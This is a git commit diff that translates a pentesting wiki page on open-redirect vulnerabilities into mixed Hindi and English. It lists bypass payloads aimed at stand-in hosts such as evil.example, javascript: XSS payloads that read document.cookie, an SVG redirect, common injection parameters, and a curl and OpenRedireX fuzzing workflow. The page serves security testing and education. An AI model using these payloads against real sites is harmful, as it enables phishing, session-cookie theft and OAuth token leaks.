Translated ['src/pentesting-web/open-redirect.md'] to hi

This commit is contained in:
Translator 2025-10-01 15:26:37 +00:00
parent 0fcf5fdd86
commit 9953166513

View File

@ -5,14 +5,25 @@
## Open redirect
### localhost या मनचाहे डोमेन पर रीडायरेक्ट करें
### Redirect to localhost or arbitrary domains
- अगर ऐप “allows only internal/whitelisted hosts” अनुमति देता है, तो redirect target के माध्यम से loopback या internal ranges को लक्षित करने के लिए वैकल्पिक host notations आज़माएं:
- IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal)
- IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
- Trailing dot and casing: localhost., LOCALHOST, 127.0.0.1.
- Wildcard DNS that resolves to loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. ये तब उपयोगी होते हैं जब केवल “subdomains of X” की अनुमति है पर host resolution फिर भी 127.0.0.1 की ओर इशारा करता है।
- Network-path references अक्सर उन naive validators को bypass कर देते हैं जो scheme prepend करते हैं या केवल prefixes चेक करते हैं:
- //attacker.tld → interpreted as scheme-relative and navigates off-site with the current scheme.
- Userinfo tricks contains/startswith checks को defeat कर देते हैं जो trusted hosts के खिलाफ होते हैं:
- https://trusted.tld@attacker.tld/ → browser attacker.tld पर नेविगेट करता है, लेकिन simple string checks “trusted.tld” को “देखते” हैं।
- Backslash parsing confusion frameworks और browsers के बीच होती है:
- https://trusted.tld\@attacker.tld → कुछ backends “\” को path char मानते हैं और validation पास कर देते हैं; browsers इसे normalize कर “/” बनाते हैं और trusted.tld को userinfo के रूप में interpret करके users को attacker.tld पर भेज देते हैं। यह Node/PHP URL-parser mismatches में भी दिखता है।
{{#ref}}
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
### XSS के लिए ओपन रीडायरेक्ट
### Modern open-redirect to XSS pivots
```bash
#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)
@ -58,7 +69,36 @@ javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
```
## Open Redirect svg फ़ाइलें अपलोड करना
<details>
<summary>अधिक आधुनिक URL-आधारित bypass payloads</summary>
```text
# Scheme-relative (current scheme is reused)
//evil.example
# Credentials (userinfo) trick
https://trusted.example@evil.example/
# Backslash confusion (server validates, browser normalizes)
https://trusted.example\@evil.example/
# Schemeless with whitespace/control chars
evil.example%00
%09//evil.example
# Prefix/suffix matching flaws
https://trusted.example.evil.example/
https://evil.example/trusted.example
# When only path is accepted, try breaking absolute URL detection
/\\evil.example
/..//evil.example
```
```
</details>
## Open Redirect uploading svg files
```html
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
@ -68,7 +108,9 @@ xmlns="http://www.w3.org/2000/svg">
</svg>
</code>
```
## सामान्य इंजेक्शन पैरामीटर
## Common injection parameters
```
/{payload}
?next={payload}
@ -143,17 +185,23 @@ RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io
```
## कोड उदाहरण
## Code examples
#### .Net
```bash
response.redirect("~/mysafe-subdomain/login.aspx")
```
#### जावा
#### Java
```bash
response.redirect("http://mysafedomain.com");
```
#### PHP
```php
<?php
/* browser redirections*/
@ -161,16 +209,75 @@ header("Location: http://mysafedomain.com");
exit;
?>
```
## Tools
## Hunting and exploitation workflow (practical)
- Single URL check with curl:
```bash
curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"
```
- Discover and fuzz likely parameters at scale:
<details>
<summary>Click to expand</summary>
```bash
# 1) ऐतिहासिक URLs इकट्ठा करें, उन में सामान्य redirect params वाले रखें
cat domains.txt \
| gau --o urls.txt # or: waybackurls / katana / hakrawler
# 2) सामान्य parameters को Grep करें और सूची normalize करें
rg -NI "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \
| sed 's/\r$//' | sort -u > candidates.txt
# 3) OpenRedireX का उपयोग करके payload corpus के साथ fuzz करें
cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt
# 4) दिलचस्प hits को मैन्युअली verify करें
awk '/30[1237]|Location:/I' results.txt
```
```
</details>
- क्लाइंट-साइड sinks in SPAs न भूलें: window.location/assign/replace और ऐसे framework helpers देखें जो query/hash पढ़कर redirect करते हैं।
- Frameworks अक्सर तब footguns पैदा करते हैं जब redirect destinations किसी untrusted input (query params, Referer, cookies) से derive होते हैं। Next.js के notes देखें about redirects और user input से derived dynamic destinations से बचें।
{{#ref}}
../network-services-pentesting/pentesting-web/nextjs.md
{{#endref}}
- OAuth/OIDC flows: abusing open redirectors अक्सर account takeover तक escalate कर देता है by leaking authorization codes/tokens। समर्पित गाइड देखें:
{{#ref}}
./oauth-to-account-takeover.md
{{#endref}}
- Server responses जो redirects implement करते हैं बिना Location के (meta refresh/JavaScript) फिर भी phishing के लिए exploitable रहती हैं और कभी-कभी chained भी हो सकती हैं। Grep for:
```html
<meta http-equiv="refresh" content="0;url=//evil.example">
<script>location = new URLSearchParams(location.search).get('next')</script>
```
## उपकरण
- [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
- OpenRedireX fuzzer open redirects का पता लगाने के लिए। उदाहरण:
```bash
# Install
git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh
## Resources
# Fuzz a list of candidate URLs (use FUZZ as placeholder)
cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50
```
## संदर्भ
- In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) आप फज़िंग सूचियाँ पा सकते हैं।
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect में आप fuzzing lists पा सकते हैं.
- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
- [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
- [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
- PortSwigger Web Security Academy DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection
- OpenRedireX open redirect कमजोरियों का पता लगाने के लिए एक fuzzer: https://github.com/devanshbatham/OpenRedireX
{{#include ../banners/hacktricks-training.md}}